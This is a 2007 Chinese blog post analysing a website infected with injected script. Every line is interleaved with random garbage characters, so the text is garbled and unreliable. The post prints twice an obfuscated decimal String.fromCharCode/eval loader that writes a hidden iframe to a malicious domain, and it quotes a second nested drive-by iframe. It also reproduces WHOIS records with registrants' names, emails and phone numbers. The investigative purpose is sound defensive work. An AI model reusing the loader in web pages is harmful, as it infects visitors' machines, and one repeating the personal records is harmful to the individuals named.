首发在我的博客里面，
y!."FoQ `3SY~&X http://www.areway.cn/?p=175 QK% { \qu ; GRSe uYhm
F p 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
!B P/# xYRN~nr <script>t=’60,105,102,114,97,109,101,
O2q`2L~ 32,115,114,99,61,104,116,116,112,58,47,47,
7pMrYIP 102,114,101,101,46,117,45,117,117,117,46,99,
7d]}BLpjWz 110,47,101,114,114,111,114,46,104,116,109,
1xar
L)) 32,119,105,100,116,104,61,49,48,48,32,104,
fl!8 \4 101,105,103,104,116,61,48,62,60,47,105,102,
\&`S~c V9 114,97,109,101,62′;
s}uOht}
o t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
w
[D9Q= |# L U"D <script>t=’60,105,102,114,97,109,101,32,115,
[: 114,99,61,104,116,116,112,58,47,47,102,114,
>93vMk~hU 101,101,46,117,45,117,117,117,46,99,110,47,
t)=u}t$ 101,114,114,111,114,46,104,116,109,32,119,
ly7\H3 105,100,116,104,61,49,48,48,32,104,101,105,
;x$,x- 103,104,116,61,48,62,60,47,105,102,114,97,
2)Grl ;T]s 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
1\=)b< y document.write(t);</script>
D/' kYoAEO >Olg
lUzA <html xmlns=”
D kl4 ^} http://www.w3.org/1999/xhtml }Ry:}) “>
KbQ UA$gL= <head>
b
lP@Cn2 <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
5f(yF <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
P
hs4]! <title>首页 - 爱生活家庭网
3s<~}&" PTW P7A[ 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
s { p-cV 转换字符串后的大概内容是（谁点击后果自付）：
~,WG284 <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
] B/Gz S}f 3b N 查询玉米u-uuu.cn的详细信息：
RZ-=UIf Domain Name: u-uuu.cn
'G;y!<a ROID: 20070901s10001s64972306-cn
?&
qM C Domain Status: ok
y{
%2Q) Registrant Organization: 王雷
umhg
O.! Registrant Name: 王雷
}:<`L\8q\ Administrative Email:
czlovexs@126.com FNL[6. !PV Sponsoring Registrar: 北京万网志成科技有限公司
i t.Lh'N;T Name Server:ns.yovole.com
tPB r{ Name Server:ns1.yovole.com
}^U7NZn<" Registration Date: 2007-09-01 17:54
[-5%[ty9X Expiration Date: 2008-09-01 17:54
@/FE! 6 |O 最后PING了一下地址 都没有什么….
&TJMop Vn NF8'O 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
5Iine n3> <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
Y "6
' <script language=”javascript” src=”
%Hx8%G! http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script z* n >
}N[|2n R' 这个玉米应该有可能是木马作者的：
@SeInew;`l foafau.info的详细信息：
< qJI]P Access to INFO WHOIS information is provided to assist persons in
go >*n\ determining the contents of a domain name registration record in the
+a1 Or Afilias registry database. The data in this record is provided by
fy]z<SPhVJ Afilias Limited for informational purposes only, and Afilias does not
HHVCw7r0 guarantee its accuracy. This service is intended only for query-based
~Cc %! 4f' access. You agree that you will use this data only for lawful purposes
(#I$4Px{ and that, under no circumstances will you use this data to: (a) allow,
%3b;`Oa enable, or otherwise support the transmission by e-mail, telephone, or
& \tD$g~"
facsimile of mass unsolicited, commercial advertising or solicitations
;e
Iqxe> to entities other than the data recipient’s own existing customers; or
Q+@/.qJ (b) enable high volume, automated, electronic processes that send
hWc`4xdl queries or data to the systems of Registry Operator, a Registrar, or
.)=T1^[hI Afilias except as reasonably necessary to register domain names or
@uA=v />+ modify existing registrations. All rights reserved. Afilias reserves
+g %h,@ the right to modify these terms at any time. By submitting this query,
BNi6I\wa you agree to abide by this policy.
:kU#5Aj gK Domain ID:D22418703-LRMS
@jh\yj rW Domain Name:FOAFAU.INFO
]JDKoA{S0 Created On:20-Nov-2007 16:05:42 UTC
<14,xYpE Last Updated On:20-Nov-2007 16:05:44 UTC
^4MRG6G Expiration Date:20-Nov-2008 16:05:42 UTC
Q /D?U[G Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
JTGA\K Status:CLIENT DELETE PROHIBITED
/B"FGa04p( Status:CLIENT RENEW PROHIBITED
g
Va;! Status:CLIENT TRANSFER PROHIBITED
(sM$=M<$ Status:CLIENT UPDATE PROHIBITED
B|9[DNd Status:TRANSFER PROHIBITED
cft/;A u{ Registrant ID:GODA-040110615
)M3} 6^ s] Registrant Name:liu hong
@M( hyS&on Registrant Organization:
s Zn@y e^ Registrant Street1:beijing
N"/J1
Registrant Street2:
Pgug!![ Registrant Street3:
`U4e]Qh/+ Registrant City:beijing
_*iy *:(o Registrant State/Province:
B:mtl?69g Registrant Postal Code:100000
BjX*Gm6l Registrant Country:CN
,4W~CkLD Registrant Phone:+86.860108888777
%u=b_4K"j Registrant Phone Ext.:
kPRG^Ox8e Registrant FAX:
FYBW3y+AF& Registrant FAX Ext.:
n[[2<s*YJ Registrant Email:bbbshiji@163.com
Y @(i zC&h Admin ID:GODA-240110615
GZxPh&BM? Admin Name:liu hong
GN1Q \8)o Admin Organization:
%Z~0vwY Admin Street1:beijing
|)KOy~" Admin Street2:
`@<>"ff#F Admin Street3:
y@XE ! L Admin City:beijing
9U]3B)h%m Admin State/Province:
D9yAq' k$ Admin Postal Code:100000
G^1 5V'* Admin Country:CN
ZuLW%z. Admin Phone:+86.860108888777
ol3].0Vc] Admin Phone Ext.:
=w !>/#U Admin FAX:
!)r1zSY"g Admin FAX Ext.:
pNFVa<D Admin Email:bbbshiji@163.com
uKA-<nM._c Billing ID:GODA-340110615
F ?N+ __o Billing Name:liu hong
_a]0<Vm C0 Billing Organization:
. n\j<Kq Billing Street1:beijing
6 uS;H]nd< Billing Street2:
,vDSY N6 Billing Street3:
/Fj*sS8 Billing City:beijing
O 'rz Billing State/Province:
,gO(zI-1 Billing Postal Code:100000
O[Yc-4 Billing Country:CN
ew+>?a'&L Billing Phone:+86.860108888777
!8Y $} Billing Phone Ext.:
V$Zl]f$S Billing FAX:
X_HU?Q_N Billing FAX Ext.:
:DG7Z Billing Email:bbbshiji@163.com
PenkqDc} Tech ID:GODA-140110615
E !EENg Tech Name:liu hong
1[]
9EJ Tech Organization:
QnJd}(yN Tech Street1:beijing
#fVk;]u`[3 Tech Street2:
Axhe9!Fm Tech Street3:
[#k f l Tech City:beijing
Lg[*P8wE Tech State/Province:
'N)&;ADx-G Tech Postal Code:100000
;#P@(ZVT Tech Country:CN
_\>? .gg$ Tech Phone:+86.860108888777
%YM4x!6 Tech Phone Ext.:
6 *gMG3 Tech FAX:
"2}04b|" Tech FAX Ext.:
OqtQLqN Tech Email:bbbshiji@163.com
v2G_p |+O Name Server:NS27.DOMAINCONTROL.COM
*TVr|
to Name Server:NS28.DOMAINCONTROL.COM
C,hs!v6 Name Server:
QK<sibDI Name Server:
R+#|<e5@%o Name Server:
"'p:M, : Name Server:
F(^vD_G Name Server:
\eH~1@\S Name Server:
+'2Mj|d@p Name Server:
f ySzZ Name Server:
<s2IC_f<+ Name Server:
N\l\ M Name Server:
Zk"'x,]# Name Server:
R lyF#X#7{ z* >"I 接着下载每个文件里面的代码：
UGj!I 一步一步看..
]C3{ _?= 
>y"W( 
4 FW~Y 
S=~[ 6;G 
jxL} tS{j 
_,"T; i 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
